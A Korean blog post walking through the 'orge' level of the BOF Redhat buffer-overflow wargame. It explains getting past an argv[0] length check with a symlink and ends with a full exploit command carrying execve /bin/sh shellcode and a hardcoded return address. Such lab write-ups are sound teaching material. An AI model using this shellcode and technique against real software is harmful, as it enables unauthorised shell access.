BOF redhat 원정대 darkelf -> orge
orge, orge.c
이전 문제와 달라진 것을 보면 argv[0]의 길이가 77이 아니면 에러 출력하고 프로그램이 종료된다.
argc를 2이상으로 주어야하고 에그쉘을 사용하지 않고 RET는 bf로 시작하는 주소로 덮어야하고 argv[1]의 길이는 48이하로 주어야하고 버퍼가 40바이트 초기화 되므로 메인의 지역변수 버퍼에는 쉘코드를 넣지 말아야한다.
argv[0]은 명령어로 ./orgc argv1 하게되면 strlen(argv[0])은 6이 된다. 나는 argv[0]의 길이를 늘리기 위해서 심볼릭 링크를 사용하였다.
이렇게 심볼릭 링크를 걸어두면 새롭게 추가된 조건을 만족하여 전과 같은 방법으로 공격 할 수 있다.
페이로드는 바로 이전 문제와 똑같이 사용할 것이다.
[버퍼][SFP][RET]..........[argv[1]]
[ 쉘코드 ][RET]..........[쉘코드]
RET를 덮어 씌울 쉘코드가 올라갈 메모리를 찾아보자.
argv[0]을 AAAA...AAA로 잡았으니 헷갈리지 않게 argv[1]를 BBB......BB로 잡는다.
argv[0]에 A가 많이 들어가있고 argv[1]에 B가 많이 들어가있는것을 볼 수 있다.
위의 주소로 RET를 덮게하고 위의 조건들을 만족시키게 쉘코드 작성하고 공격을 시도해본다.
쉘을 얻을 수 있었다.
쉘코드 :
./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\xca\xfb\xff\xbf"'`
Categories
- programming (17)
- security (46)
- study (22)
- system (35)
Recent 7 Days Popular Posts
-
프로그램은 실행하면서 많은 함수를 호출한다. 함수가 호출되고 호출받은 함수가 실행되려면 레지스터와 스택을 사용해야 한다. 버퍼오버플로우 공격을 공부하면서 호출된 함수가 어떻게 esp (스택을 관리하는 레지스터)를 백업하는지 어떻게 스택을 독립적으로 ...
-
$(HOME)/.gdbinit을 생성하면 gdb가 실행될 때 .gdbinit을 불러옴으로 스크립트를 적용시킬 수 있다. ARM 어셈을 처음다루어 라인바이라인으로 분석해 보기위해 몇 가지 스크립트를 작성하였다. .gdbinit ...
-
_start, __libc_start_main, main hello를 출력하는 hello C언어로 작성한 간단한 elf파일의 헤더를 보면 실행파일의 시작주소값인 Entry point address에 _start 의 주소가 들...
-
ARM assembly를 공부하기 위해서 bof redhat 원정대 1번 문제를 ARM환경에서 컴파일하고 단순하게 어셈블리어만 라인바이라인으로 분석해보고 x86 리눅스에서와 어떤식으로 다른지 확인 해 보았다. bof 1번 문제의 c코드 ...
-
이 자료는 우리가 KITRI (한국정보기술연구원) 침해대응 과정 중 수료 프로젝트로 진행했던 자료이다. 취약점을 분석해논 우리나라 자료가 거의 존재하지 않았기 때문에 어떻게 분석해야 하는지 매우 막막했다. 특히 3897 취약점은 인터넷 익...



0 개의 댓글:
댓글 쓰기